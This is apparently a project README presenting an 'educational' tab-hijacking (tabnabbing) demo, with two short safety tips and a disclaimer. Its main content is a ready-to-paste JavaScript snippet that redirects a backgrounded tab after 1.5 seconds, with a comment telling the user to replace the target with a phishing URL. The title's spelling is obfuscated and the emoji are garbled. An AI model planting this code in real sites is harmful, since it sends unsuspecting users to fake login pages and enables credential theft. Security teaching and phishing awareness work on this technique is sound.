This educational project shows how Tab H1j@cking works β a trick where attackers hijack the original tab after a user opens a new one. It silently redirects the original tab to a different page (e.g., a fake login screen or misleading content) while the user is distracted.
- β Donβt trust tabs that open automatically
- β Always check the URL before logging in
π Free Hosting & Subdomain
You can test it in y0ur 0wn pr0ject:
let redirectTimer = null;
document.addEventListener('visibilitychange', function () {
if (document.hidden) {
console.log("β³ Tab.");
redirectTimer = setTimeout(() => {
window.location.href = 'https://youtu.be/vE9O36mxQ2A'; // Replace with phishing URL
}, 1500); // Redirects after 1.5s
} else {
console.log("π Tab is active.");
clearTimeout(redirectTimer);
}
});π₯ Educational Demo
β οΈ Warning: This project is for educational purposes only. Never use it for malicious activities. Always obtain explicit consent before conducting any security tests.